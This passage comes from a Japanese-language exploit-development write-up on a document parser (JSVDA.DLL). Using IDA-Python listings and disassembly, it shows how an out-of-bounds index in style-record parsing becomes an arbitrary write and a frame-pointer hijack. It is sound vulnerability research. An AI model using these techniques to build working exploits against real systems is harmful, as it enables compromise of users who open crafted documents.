v10 = object_9c2044::decode_stream(HtmlAdditionalData)_3a5445(this, lp_oframe_230, av_documentType_4, lp_stackObject_234, 0);
…
}
}
}
}
}
}
}
}
…
}
return v10;
}
/** Functions used to parse both the “DocumentViewStyles” and “DocumentEditStyles” streams. **/
int __thiscall object_9c2044::parseStream(DocumentViewStyles)_3a790a(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc);
this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1dc = 0;
return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 1, 0);
}
int __thiscall object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(object_9c2044 *this, JSVDA::object_OFRM *ap_oframe_0, int av_documentType_4, int av_flags_8)
{
object_9c2d50::field_397a8d::clear_3a7b8b(this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8);
this->v_data_290.p_object_84->v_data_4.p_streamContentsField_1d8 = 0;
return object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(this, ap_oframe_0, av_documentType_4, av_flags_8, 2, 0);
}
リスト内の object_9c2044::method_processStreams_77af0f メソッドをざっと見たところ、アプリケーションによって解析されている最初の 2 つのストリームのうちの 1 つが対象のストリームのようです。つまり、ドキュメントが開かれてから、特定した脆弱性に到達するまでの間に実行されるロジックはそれほど多くないということになります。脆弱性に到達する前にアプリケーションの状態に影響を与えるために利用できるのは、ドキュメントスタイルを含んでいるストリームの解析に関連するロジックのみです。脆弱性のスコープ内でいつでも実行をハイジャックできるようにする場合は、読み込もうとしているページの権限を変更できるよう、その後も制御を維持するための何らかの方法が必要になります。
他のストリームパーサーをいくつか調べてみると、ストリームから読み取るために一部のオブジェクトによって仮想メソッドが呼び出されているようです。利用可能な一部のモジュールの書き込み可能な部分に仮想メソッドが存在するので、必要となればグローバルに上書きできる可能性があります。ただし、上書きしたら仮想メソッドを使用できなくなるため、アプリケーション全体でその機能が「壊れる」ことにもなります。
アプリケーションがドキュメントを解析する最初の段階で書き込みを行うので、上書きしたものはファイルからデータを読み取る 1 つまたは 2 つのストリームで使用する必要があります。DocumentViewStyles ストリームと DocumentEditStyles ストリームの両方に属するレコードタイプを解析するパーサーに対して基本的なクエリを実行すると、ヒープやその他の手段には何も動的に読み込まれていないことがわかります。したがって、特定した脆弱性を利用してペイロード全体とその他必要なものを書き込む必要があります。
Python> func.frame(0x3BE11906).members
<class ‘structure’ name=’$ F3BE11906′ offset=-0xcc size=0xe4>
-cc+0x10 [None, 16]
[0] -bc+0x4 int ‘var_B4’ (<class ‘int’>, 4)
[1] -b8+0x4 int ‘var_B0’ (<class ‘int’>, 4)
[2] -b4+0x2 __int16 ‘var_AC’ (<class ‘int’>, 2)
…
[13] -8d+0x1 char ‘lvb_85’ (<class ‘int’>, 1)
[14] -8c+0x2 __int16 ‘lvw_case_84’ (<class ‘int’>, 2)
-8a+0x2 [None, 2]
[15] -88+0xc arena_reader ‘lv_triple_80’ <class ‘structure’ name=’arena_reader’ offset=-0x88 size=0xc>
[16] -7c+0x4 int ‘lv_size_74’ (<class ‘int’>, 4)
[17] -78+0x2 __int16 ‘lvw_index_70’ (<class ‘int’>, 2)
[18] -76+0x2 __int16 ‘var_6E’ (<class ‘int’>, 2)
[19] -74+0x18 object_9d15a0*[6] ‘lv_objects(6)_6c’ [(<class ‘type’>, 4), 6]
[20] -5c+0x50 wchar_t[40] ‘lv_wstring(28)_54’ [(<class ‘int’>, 2), 40]
[21] -c+0x4 int ‘var_4’ (<class ‘int’>, 4)
[22] -8+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[23] -4+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
[24] 0+0x4 JSVDA::object_OSEG* ‘ap_oseg_0’ (<class ‘type’>, 4)
[25] 4+0x4 int ‘av_size_4’ (<class ‘int’>, 4)
[26] 8+0x4 int ‘av_someFlag_8’ (<class ‘int’>, 4)
[27] c+0x4 int ‘av_documentType_c’ (<class ‘int’>, 4)
[28] 10+0x4 int ‘ap_nullobject_10’ (<class ‘int’>, 4)
[29] 14+0x4 int* ‘ap_unusedResult_14’ (<class ‘type’>, 4)
このリストは、脆弱性を含む object_9d0d30::readStyleType(2008)_391906 メソッドに属するフレーム全体のレイアウトを示しています。このレイアウトでは、lv_objects(6)_6c フィールドに、インデックスが使用されるポインタの 6 要素配列が含まれています。つまり、この配列に対するポインタを逆参照することになります。この配列の直後にはバッファがあり、このバッファは、呼び出し元のフレームポインタとアドレスを保護するカナリアの前にあります。このフィールドを相互参照すると、ケース 5 の処理中に参照されていることがわかります。
ケース 5 では、実装はインデックスとサイズを含む 2 つの 16 ビットフィールドを読み取ります。このサイズは、0x66 定数と照合されてから、参照先であるサイズが 0x50 バイトのバッファに 16 ビット整数の配列を読み取るために使用されます。0x66 と照合された後、サイズが 2 の倍数に調整され、0x42 未満であることが検証されます。長さの検証に失敗すると、__report_rangecheckfailure 関数は直ちに実行を終了します。
この検証に合格すると、読み取られた配列を使用して前述の Short オブジェクトが構築され、スタック上にある 6 つのオブジェクトの配列に書き込まれます。この関数内には、この 16 ビット整数の配列を使用する他のコードはなく、ファイルから読み取られた 16 ビット整数の配列を一時的に格納するために使用されるので、そのスペースを再利用して、エクスプロイト中に使用する任意のポインタを格納できます。
脆弱性の機能
概念実証に戻ると、任意のアドレスに書き込むために必要なレコードを出力できるように、レコード 0x2008 について、前述の 2 つのケースを組み合わせる必要があります。ケース 5 では、16 ビット整数の配列をバッファに格納できるので、これを使用して lv_wstring(28)_54 フィールドに逆参照されるポインタを格納します。ケース 7 では、境界外のインデックスを指定できるので、ケース 5 で読み込んだ lv_wstring(28)_54 フィールドからポインタを逆参照するインデックスを指定できます。これら 2 つのレコードタイプを組み合わせることで、制御された 32 ビット整数を制御されたアドレスに書き込めるようになります。
解析されているドキュメントの先頭に脆弱性があり、スコープが制限されているので、アプリケーションのアドレス空間内でペイロード全体を読み込むためにはこの脆弱性を使用しなければならないという制約があります。つまり、任意のアドレスへの 32 ビット書き込みプリミティブを、任意のアドレスに任意の量のデータを書き込めるプリミティブに昇格する必要があることになります。同じ手法(タイプ 5 のレコードが 1 つ、その後にタイプ 7 のレコードが 1 つ)を使用すると、タイプ、サイズ、インデックスを格納するために 6 バイトが必要となり、その後に整数またはアドレスの 32 ビットが続きます(合計 10 バイト)。両方のレコードタイプが使用されているので、32 ビット整数を書き込むごとにオーバーヘッドは 20 バイトになります。幸いなことに、このオーバーヘッドは減らすことができます。lv_wstring(28)_54 フィールド内にそれ以上のスペースがあり、書き込む必要がある各アドレスを格納するために使用できるからです。
__report_rangecheckfailure の前のサイズの上限は 0x42 バイトであり、文字列の先頭には NULL 終端文字用の余分なスペースを含める必要があります。これで、0x46 バイトを使用してタイプ 5 のレコードごとに 15 個のアドレスを読み込めるようになります。次に、各整数を書き込むためにタイプ 7 のレコードを使用すると、コストは 32 ビット整数あたり 10 バイトとなり、改善されます。4 の倍数ではないデータ量に対応するには、余分なバイトに対して、アラインされていない 32 ビット整数を最後に書き込み、その前のスペースを埋めるだけです。これらの抽象化をエクスプロイトに実装したら、次はハイジャックの対象を特定します。
ハイジャックの実行
アドレス空間内の任意の場所に書き込めるので、いくつかのグローバルポインタを上書きして実行をハイジャックできるはずです。しかし、直接のスコープ内と周囲のコードを見直すと、ハイジャックに利用できる唯一の仮想メソッドは、現在解析中のストリームの内容を読み取るためだけに使用されています。これらのオブジェクトの内容を調べると、有用なデータは何も含まれておらず、アプリケーションの他の部分を破損させることができそうなポインタすらないことがわかります。したがって、ストリームの内容に影響を与えられるものがメモリ内の予測可能な場所に存在することを期待するしかありません。
Python> struc.by(‘JSVDA::object_OSEG’)
<class ‘structure’ name=’JSVDA::object_OSEG’ size=0x10> # [alloc.tag] OSEG
Python> struc.by(‘JSVDA::object_OSEG’).members
<class ‘structure’ name=’JSVDA::object_OSEG’ size=0x10> # [alloc.tag] OSEG
[0] 0+0x4 int ‘p_vftable_0’ (<class ‘int’>, 4) # [vftable] 0x27818738
[1] 4+0xc object_OSEG::data ‘v_data_4’ <class ‘structure’ name=’object_OSEG::data’ offset=0x4 size=0xc>
Python> struc.by(‘JSVDA::object_OSEG’).members[1].type.members
<class ‘structure’ name=’object_OSEG::data’ offset=0x4 size=0xc>
[0] 4+0x4 int ‘v_bucketIndex_0’ (<class ‘int’>, 4)
[1] 8+0x8 __int64 ‘v_currentOffset?_4’ (<class ‘int’>, 8)
このリストは、ストリームからデータを読み取るために使用されるオブジェクトのレイアウトを示しています。リストされているように、このオブジェクトには、ドキュメントのインデックスまたはハンドルであるフィールドが 1 つだけあります。ASLR がないので、このオブジェクトが参照する仮想メソッドテーブルの 1 つを上書きできそうですが、アプリケーションがこのオブジェクトから使用する唯一のメソッドが、その解析のために同じレコードの実装によって使用されています。何かを上書きすると、このオブジェクトはすぐに壊れ、アプリケーションがドキュメントからそれ以上データを読み込めなくなります。
スタックを調べると、静的に初期化されるのでスコープがアプリケーションに限定されるグローバルオブジェクトへのポインタ以外には、有用なポインタがないこともわかります。ただし、スタック上には使用できそうなフレームポインタが存在します。フレームポインタへの相対参照さえ見つかれば、そのフレームポインタを使用できます。コードの実行方法の性質上、特定した脆弱性のコンテキスト内のすべてのものは、スタックのさらに上位の呼び出し元から発生すると考えることができます。したがって、別のコンポーネントに属するヒープからコピーされるか、何らかのグローバルな状態を介してスコープに入るか、パラメータとしてスコープに入るかのいずれかになります。また、(選択したポインタからの相対位置で)+0x58 に 32 ビット整数、+0x34 から +0x60 までの間に 16 ビット整数を書き込むか、文字列を含む構造体へのポインタを +0x4C に書き込むしかないことにも留意する必要があります。したがって、これらの制約内で実行をハイジャックできるフレームへの参照を見つける必要があります。
脆弱性がトリガーされた時点でコールスタックをキャプチャすれば、各フレームのレイアウトを取得し、それを使用してフィールドを特定できます。ケース 7 の場合は +0x58、ケース 5 の場合は +0x4C – 4 です。
Python> callstack = [0x3be11d03, 0x3be27501, 0x3be278b2, 0x3be2793e, 0x3c1fb083, 0x3c1fb495, 0x3c1fb4ef, 0x3be2795d]
Python> list(map(function.address, callstack))
[0x3be11906, 0x3be27048, 0x3be276be, 0x3be2790a, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
# Exchange each address in the backtrace with the function that owns it.
Python> functions = list(map(function.address, callstack))
Python> pp(list(map(function.name, functions)))
[‘object_9d0d30::readStyleType(2008)_391906’,
‘struc_3a9de4::parseStylesContent_3a7048’,
‘object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be’,
‘object_9c2044::parseStream(DocumentViewStyles)_3a790a’,
‘object_9c2044::method_processStreams_77af0f’,
‘object_9c2044::vmethod_processStreamsTwice_77b3ed’,
‘object_9e9d90::processDocumentByType_77b4ab’,
‘sub_3BE27954’]
# Grab the frame for each function and align them contiguously.
Python> frames = list(map(func.frame, functions))
Python> contiguous = struc.right(frames[-1], frames[-1:])
# Display all frame pointers along with the offset needed to overwrite them.
Python> for frame in contiguous: print(“{:#x} : {}”.format(frame.byname(‘ s’).offset – 0x58, frame.byname(‘ s’)))
-0x640 : <member ‘$ F3BE11906. s’ index=22 offset=-0x5e8 size=+0x4 typeinfo=’char[4]’>
-0x608 : <member ‘$ F3BE27048. s’ index=3 offset=-0x5b0 size=+0x4 typeinfo=’char[4]’>
-0x55c : <member ‘$ F3BE276BE. s’ index=25 offset=-0x504 size=+0x4 typeinfo=’char[4]’>
-0x53c : <member ‘$ F3BE2790A. s’ index=0 offset=-0x4e4 size=+0x4 typeinfo=’char[4]’>
-0x2cc : <member ‘$ F3C1FAF0F. s’ index=9 offset=-0x274 size=+0x4 typeinfo=’char[4]’>
-0x9c : <member ‘$ F3C1FB3ED. s’ index=3 offset=-0x44 size=+0x4 typeinfo=’char[4]’>
-0x78 : <member ‘$ F3C1FB4AB. s’ index=0 offset=-0x20 size=+0x4 typeinfo=’char[4]’>
-0x60 : <member ‘$ F3BE27954. s’ index=0 offset=-0x8 size=+0x4 typeinfo=’char[4]’>
# Gather them into a set.
Python> offsets = set(item.byname(‘ s’).offset – 0x58 for item in contiguous)
# Display each frame and any of its members that contain one of the determined offsets.
Python> for frame in contiguous: print(frame), frame.members.list(offset=offsets), print()
<class ‘structure’ name=’$ F3BE11906′ offset=-0x6ac size=0xe4>
[20] -63c+0x50 wchar_t[40] ‘lv_wstring(28)_54’ [(<class ‘int’>, 2), 40]
<class ‘structure’ name=’$ F3BE27048′ offset=-0x5c8 size=0x38>
<class ‘structure’ name=’$ F3BE276BE’ offset=-0x590 size=0xa8>
[12] -55c:+0x4 int ‘var_58’ (<class ‘int’>, 4)
[20] -53c:+0x28 struc_3a9de4 ‘lv_struc_38’ <class ‘structure’ name=’struc_3a9de4′ offset=-0x53c size=0x28> # [note] Wanted object
<class ‘structure’ name=’$ F3BE2790A’ offset=-0x4e8 size=0x18>
<class ‘structure’ name=’$ F3C1FAF0F’ offset=-0x4d0 size=0x278>
[7] -4a0+0x228 object_2f27f8 ‘lv_object_22c’ <class ‘structure’ name=’object_2f27f8′ offset=-0x4a0 size=0x228>
<class ‘structure’ name=’$ F3C1FB3ED’ offset=-0x258 size=0x230>
[1] -248+0x200 wchar_t[256] ‘lv_wstring_204’ [(<class ‘int’>, 2), 256]
<class ‘structure’ name=’$ F3C1FB4AB’ offset=-0x28 size=0x20>
<class ‘structure’ name=’$ F3BE27954′ offset=-0x8 size=0x18>
このリストでは、得られた結果は 5 つだけで、そのうちの 2 つだけが参照可能なフィールドを指しているようです。結果の数が少ないので手動でも問題なく検証でき、フレームポインタからちょうど 0x58 バイトで始まるフィールド lv_struc_38 が 32 ビットの書き込みに最適であることがわかります。このフィールドは 0x3BE276BE の関数のフレーム(object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be という名前のメソッド)に属します。このメソッドによって呼び出される関数のプロトタイプを調べると、オブジェクトは 1 つのメソッドでしか使用されていないようです。
# Grab all of the calls for function 0x3BE276BE that do not use a register as its operand.
Python> calls = {ins.op_ref(ref) for ref in function.calls(0x3BE276BE) if not isinstance(ins.op(ref), register_t)}
# List all functions that we selected.
Python> db.functions.list(typed=True, ea=calls)
[0] +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a : lvars:1c args:2 refs:100 exits:1
[1] +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ : __cdecl object_OSEG::setCurrentStreamPosition_1329ce : lvars:00 args:5 refs:182 exits:1
[2] +0x132a07 : 0x3bbb2a07..0x3bbb2a15 : (1) Fvt+ : __cdecl object_OSEG::destroy_132a07 : lvars:00 args:1 refs:270 exits:1
[3] +0x132de4 : 0x3bbb2de4..0x3bbb2e41 : (1) FvT+ : __cdecl object_OFRM::openStreamByName?_132de4 : lvars:08 args:4 refs:144 exits:1
[4] +0x1a9adb : 0x3bc29adb..0x3bc29bff : (1) FvD+ : __thiscall sub_3BC29ADB : lvars:68 args:1 refs:7 exits:1
[5] +0x1cbf85 : 0x3bc4bf85..0x3bc4c3f2 : (1) FvD+ : __thiscall sub_3BC4BF85 : lvars:6c args:2 refs:6 exits:1
[6] +0x1d5697 : 0x3bc55697..0x3bc558b7 : (1) FvD+ : __thiscall object_9bd120::method_1d5697 : lvars:8c args:1 refs:6 exits:1
[7] +0x2198ca : 0x3bc998ca..0x3bc9998f : (1) FvD+ : __thiscall sub_3BC998CA : lvars:28 args:4 refs:38 exits:1
[8] +0x3a7048 : 0x3be27048..0x3be27664 : (1) FvT+ : __thiscall struc_3a9de4::parseStylesContent_3a7048 : lvars:18 args:7 refs:2 exits:1
[9] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ : __cdecl object_OSEG::read_ushort_3a7664 : lvars:1c args:2 refs:90 exits:1
[10] +0x3a9547 : 0x3be29547..0x3be2955d : (1) FvD+ : __thiscall sub_3BE29547 : lvars:00 args:3 refs:5 exits:1
[11] +0x3a9638 : 0x3be29638..0x3be2963b : (1) FvD+ : __unknown return_3a9638 : lvars:00 args:0 refs:30 exits:1
[12] +0x3a9de4 : 0x3be29de4..0x3be29e05 : (1) FvD* : __thiscall constructor_3a9de4 : lvars:00 args:1 refs:7 exits:1
[13] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6 : lvars:1c args:2 refs:36 exits:1
[14] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07 : lvars:1c args:2 refs:98 exits:1
[15] +0x8ea4fd : 0x3c36a4fd..0x3c36a50e : (1) LvD+ : __unknown __EH_epilog3_GS : lvars:00 args:0 refs:2546 exits:0
# Grab all our results that are typed, and emit their prototype.
Python> for ea in db.functions(tag=’__typeinfo__’, ea=calls): print(function.tag(ea, ‘__typeinfo__’))
object_9bd184 *__thiscall object_10cbd2::get_field(3c)_109b2a(object_10cbd2 *this, __int16 avw_0)
int __cdecl object_OSEG::setCurrentStreamPosition_1329ce(JSVDA::object_OSEG *ap_oseg_0, int av_low_4, int av_high_8, int av_reset?_c, __int64 *ap_resultOffset_10)
int __cdecl object_OSEG::destroy_132a07(JSVDA::object_OSEG *ap_oseg_0)
int __cdecl object_OFRM::openStreamByName?_132de4(JSVDA::object_OFRM *ap_oframe_0, char *ap_streamName_4, int av_flags_8, JSVDA::object_OSEG **)
int __thiscall sub_3BC29ADB(object_9bd0e4 *this)
int __thiscall sub_3BC4BF85(object_9bd184 *this, int a2)
int __thiscall object_9bd120::method_1d5697(object_9bd120 *this)
int __thiscall sub_3BC998CA(object_9bd0e4 *this, int av_length_0, int av_field_4, int av_neg1_8)
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
int __cdecl object_OSEG::read_ushort_3a7664(JSVDA::object_OSEG *ap_this_0, _WORD *ap_result_4)
_DWORD *__thiscall sub_3BE29547(_DWORD *this, __int16 arg_0, int arg_4)
void return_3a9638()
struc_3a9de4 *__thiscall constructor_3a9de4(struc_3a9de4 *this)
object_9bd120 *__thiscall object_10cbd2::get_field(38)_7b15a6(object_10cbd2 *this, __int16 avw_noCreate_0)
object_9bd0e4 *__thiscall object_10cbd2::get_field(34)_7b9e07(object_10cbd2 *this, __int16)
void __EH_epilog3_GS)
# Only this prototype references our object as its “this” parameter.
int __thiscall struc_3a9de4::parseStylesContent_3a7048(struc_3a9de4 *this, JSVDA::object_OSEG *ap_oseg_0, int av_position(lo)_4, int av_position(hi)_8, int av_currentStreamState?_c, frame_3a7048_arg_10 ap_unkobjectunion_10, frame_3a7048_arg_14 ap_nullunion_14)
リストの結果を見ると、struc_3a9de4::parseStylesContent_3a7048 メソッドは、目的のレコードタイプを this パラメータとして参照しているようです。struc_3a9de4::parseStylesContent_3a7048 メソッドを見ていくと、this で表されるオブジェクトが %edi レジスタに格納されています。今の目標は、直接参照するか、このメソッドから %edi レジスタを介して、この構造体へのポインタを見つけることです。手動でコールスタックをたどってそのレコードタイプが使用されている場所をすべて列挙するか、デバッガを使って構造体内の何かを参照している場所を監視すれば、候補が見つかります。幸いなことに、検索空間が比較的小さいので、次のリストで簡単に見つけることができます。
.text:3BE27048 000 push ebp
.text:3BE27049 004 mov ebp, esp
.text:3BE2704B 004 sub esp, 0Ch
.text:3BE2704E 010 and [ebp+lv_result_4], 0
.text:3BE27052 010 push ebx
.text:3BE27053 014 mov ebx, [ebp+ap_oseg_0] ; parameter: struc_3a9de4 *this
…
.text:3BE274D4 loc_3BE274D4:
.text:3BE274D4 01C mov ecx, [ecx+object_9c2044.v_data_290.p_object_84]
.text:3BE274DA 01C mov eax, [ecx+object_9c2d50.v_data_4.p_object_60]
.text:3BE274DD 01C test eax, eax
.text:3BE274DF 01C jnz short loc_3BE274EE
.text:3BE274E1 01C call object_9c2d50::create_field(64)_6bf3a6
.text:3BE274E6 01C test eax, eax
.text:3BE274E8 01C jz loc_3BE27625
.text:3BE274EE
.text:3BE274EE loc_3BE274EE:
.text:3BE274EE 01C lea ecx, [ebp+lv_result_4]
.text:3BE274F1 01C push ecx
.text:3BE274F2 020 push dword ptr [ebp+ap_unkobjectunion_10]
.text:3BE274F5 024 mov ecx, eax
.text:3BE274F7 024 push [edi+struc_3a9de4.v_documentType_8]
.text:3BE274FA 028 push [ebp+ap_oseg_0]
.text:3BE274FD 02C push [edi+struc_3a9de4.v_header_long_4]
.text:3BE27500 030 push ebx ; pushed onto stack
.text:3BE27501 034 call object_9d0d30::readStyleType(2008)_391906
.text:3BE27506 01C jmp loc_3BE2736F
object_9d0d30::readStyleType(2008)_391906 の呼び出し元を調べて、そこから逆方向にトラバースすると、最初に見つかった呼び出し命令が object_9c2d50::create_field(64)_6bf3a6 という名前のメソッドを呼び出します。このメソッドは、フィールド object_9c2d50::v_data_4::p_object_60 がゼロに初期化されるという条件でも呼び出されます。包含メソッドの先頭から条件付きで呼び出されるメソッドまでの関連パスは、前のリストに示されています。
object_9c2d50::create_field(64)_6bf3a6 関数と object_9d0d30::readStyleType(2008)_391906 関数の両方が同じ関数によって呼び出されるので、この 2 つの関数のフレームは必ず重複します。目的はプロローグの一部として %edi レジスタを保持する関数を特定することであり、そのために struc_3a9de4::parseStylesContent_3a7048 メソッドから幅優先検索を実行し、その結果を使用して候補となるコールスタックのリストを構築し、フィルタリングすることにします。
以下のリストでは、脆弱性のスコープからのコールスタックを組み合わせて、結果をフィルタリングする際に使用する候補範囲を特定しています。このリストでは、範囲は -0xAC ~ -0x58 です。このフィルタを候補に適用すると、関数 0x3BDFD8F8 のプロローグにこの範囲内の複数のレジスタが格納されていることがわかります。これらのレジスタの 1 つが目的の %edi レジスタであり、リストのオフセット -0xA4 にあります。これは、脆弱な関数のフレームに属する lv_wstring(28)_54 フィールドと重複しています。
# Assign the callstacks that we will be comparing.
callstack_for_vulnerability = [0x3be11906, 0x3be27048]
callstack_for_conditional = [0x3c36a51f, 0x3bdfd8f8, 0x3c13f3a6, 0x3be27048]
# Print out the first layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[<class ‘structure’ name=’$ F3BE11906′ offset=-0x11c size=0xe4>
-11c+0x10 [None, 16]
[0] -10c+0x4 int ‘var_B4’ (<class ‘int’>, 4)
[1] -108+0x4 int ‘var_B0’ (<class ‘int’>, 4)
[2] -104+0x2 __int16 ‘var_AC’ (<class ‘int’>, 2)
…
[8] -c+0x4 int ‘av_currentStreamState?_c’ (<class ‘int’>, 4) # [note] usually 2, and seems to be only used during function exit
[9] -8+0x4 frame_3a7048_arg_10 ‘ap_unkobjectunion_10’ <class ‘union’ name=’frame_3a7048_arg_10′ offset=-0x8 size=0x4>
[10] -4+0x4 frame_3a7048_arg_14 ‘ap_boxunion_14’ <class ‘union’ name=’frame_3a7048_arg_14′ offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010
# Print out the second layout (right-aligned to offset 0).
Python> [frame.members for frame in struc.right(0, map(function.frame, callstack_for_conditional)))]
[<class ‘structure’ name=’$ F3C36A51F’ offset=-0x98 size=0x8>
[0] -98+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
[1] -94+0x4 int ‘arg_0’ (<class ‘int’>, 4), <class ‘structure’ name=’$ F3BDFD8F8′ offset=-0x90 size=0x30>
-90+0x10 [None, 16]
[0] -80+0x4 int ‘var_10’ (<class ‘int’>, 4)
…
[5] -18+0x4 JSVDA::object_OSEG* ‘ap_oseg_0’ (<class ‘type’>, 4)
[6] -14+0x4 int ‘av_position(lo)_4’ (<class ‘int’>, 4)
[7] -10+0x4 int ‘av_position(hi)_8’ (<class ‘int’>, 4)
[8] -c+0x4 int ‘av_currentStreamState?_c’ (<class ‘int’>, 4) # [note] usually 2, and seems to be only used during function exit
[9] -8+0x4 frame_3a7048_arg_10 ‘ap_unkobjectunion_10’ <class ‘union’ name=’frame_3a7048_arg_10′ offset=-0x8 size=0x4>
[10] -4+0x4 frame_3a7048_arg_14 ‘ap_boxunion_14’ <class ‘union’ name=’frame_3a7048_arg_14′ offset=-0x4 size=0x4>] # [note] used by types 0x2008 and 0x2010
# Emit the members from the vulnerability’s backtrace that are worth dereferencing.
Python> [frame.members.list(bounds=(-0xc4, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_vulnerability))]
[19] -c4:+0x18 object_9d15a0*[6] ‘lv_objects(6)_6c’ [(<class ‘type’>, 4), 6]
[20] -ac:+0x50 wchar_t[40] ‘lv_wstring(28)_54’ [(<class ‘int’>, 2), 40]
[21] -5c:+0x4 int ‘var_4’ (<class ‘int’>, 4)
# Emit the members within the other backtrace that overlaps “lv_wstring(28)_54″..”var_4”.
Python> [frame.members.list(bounds=(-0xac, -0x58)) for frame in struc.right(0, map(function.frame, callstack_for_conditional))]
[2] -ac:+0x4 int ‘var_14’ (<class ‘int’>, 4)
[3] -a8:+0x4 int ‘lv_canary_10’ (<class ‘int’>, 4)
[4] -a4:+0x4 int ‘lv_reg(edi)_c’ (<class ‘int’>, 4)
[5] -a0:+0x4 int ‘lv_reg(esi)_8’ (<class ‘int’>, 4)
[6] -9c:+0x4 int ‘lv_reg(ebx)_4’ (<class ‘int’>, 4)
[7] -98:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
[8] -94:+0x4 int ‘arg_0’ (<class ‘int’>, 4)
[0] -80:+0x4 int ‘var_10’ (<class ‘int’>, 4)
[1] -74:+0x4 int ‘var_4’ (<class ‘int’>, 4)
[2] -70:+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[3] -6c:+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
[4] -68:+0x4 int ‘ap_owner_0’ (<class ‘int’>, 4)
[5] -64:+0x4 int ‘ap_owner_4’ (<class ‘int’>, 4)
ただし、object_9c2d50::create_field(64)_6bf3a6 メソッドは、object_9c2d50.v_data_4.p_object_60 フィールドが 0x00000000 で初期化される場合にのみ呼び出されるので注意が必要です。したがって、逆コンパイラを使用して、スコープ内のこのフィールドへの既知のグローバル参照をすべて特定し、それらを使用して、この値を初期化する何らかの方法があるかどうかを判断することにします。
結果的に残念ながら、object_9c2d50.v_data_4.p_object_60 フィールドは開始位置と終了位置でのみ初期化され、このオブジェクトが他のどのレコードタイプによっても構築されていないことが必須であることが判明します。デバッガを使用してこれを検証してみると、この条件があるせいで、他の利用可能なレコードタイプはどれも使用できないことがわかります。このパスを利用するには、それらのレコードタイプが必要でした。
ただし、検討できる候補はまだあります。その 1 つが、struc_3a9de4::parseStylesContent_3a7048 内の最初の関数呼び出しです。これにより struc_3a9de4::readBoxHeader?_3a6fae 関数が呼び出され、この関数は JSVDA.DLL ライブラリ内で定義されているメソッドに依存します。このメソッドのプロローグも %edi レジスタをスタックにプッシュします。このアドレスへの書き込み時にメモリ アクセス ブレークポイントを設定し、関数内で特定した他の条件にヒットしないようにドキュメントを変更すると、保存されている lv_struc_38 への参照に目的の範囲内でアクセス可能であることを確認できます。
最終的に、元々は境界外の配列インデックスの脆弱性だったものを、32 ビットの書き込みによる相対逆参照に機能拡張することができました。次に、脆弱性を含む関数内の機能の一部を再利用してこの脆弱性の機能を昇格し、絶対アドレスへの任意の長さの書き込みを可能にしました。その後、制御フローを利用し、呼び出し元である object_9c2044::method_processStreams_77af0f メソッドに属する object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 メソッドによって保存されているフレームに対して、フレームポインタの上書きを実行できるようにしました。アプリケーションがストリームを解析してこのメソッドに戻った後は、フレームポインタとメソッドのローカル変数を制御できるようになるはずです。これで、より洗練された方法で実行をハイジャックできるようになるはずであり、脆弱性を利用して与えたダメージの修復も可能になります。
フレームポインタのハイジャック
まだドキュメントの処理のスコープ内にあるメソッドのフレームポインタを制御できるようになったら、そのフレームを調べて、現在の機能で何を変更できるかを判断することができます。前のセクションで上書きしたフレームは、制御できる変数は少ないことを示しています。残念ながら、脆弱性を利用するために使用したストリームはこの時点で閉じられています。そして、このフレームを直接改ざんしてメソッドの実行が完了するようにした場合、カナリアチェックによって関数のエピローグが失敗するので、実行がすぐに完了し、プロセスが終了します。
# List the frame belonging to the caller of the function containing the vulnerability.
<class ‘structure’ name=’$ F3C1FAF0F’ offset=-0x264 size=0x278>
[0] -264+0x4 int ‘var_25C’ (<class ‘int’>, 4)
[1] -260+0x4 int ‘var_258’ (<class ‘int’>, 4)
[2] -25c+0x4 int ‘var_254’ (<class ‘int’>, 4)
[3] -258+0x4 int ‘var_250’ (<class ‘int’>, 4)
[4] -254+0x18 frame_77af0f::field_24c ‘lv_struc_24c’ <class ‘structure’ name=’frame_77af0f::field_24c’ offset=-0x254 size=0x18>
[5] -23c+0x4 int ‘lp_stackObject_234’ (<class ‘int’>, 4)
[6] -238+0x4 JSVDA::object_OFRM* ‘lp_oframe_230’ (<class ‘type’>, 4)
[7] -234+0x228 object_2f27f8 ‘lv_object_22c’ <class ‘structure’ name=’object_2f27f8′ offset=-0x234 size=0x228>
[8] -c+0x4 int ‘lv_result_4’ (<class ‘int’>, 4)
[9] -8+0x4 char[4] ‘ s’ [(<class ‘int’>, 1), 4]
[10] -4+0x4 char[4] ‘ r’ [(<class ‘int’>, 1), 4]
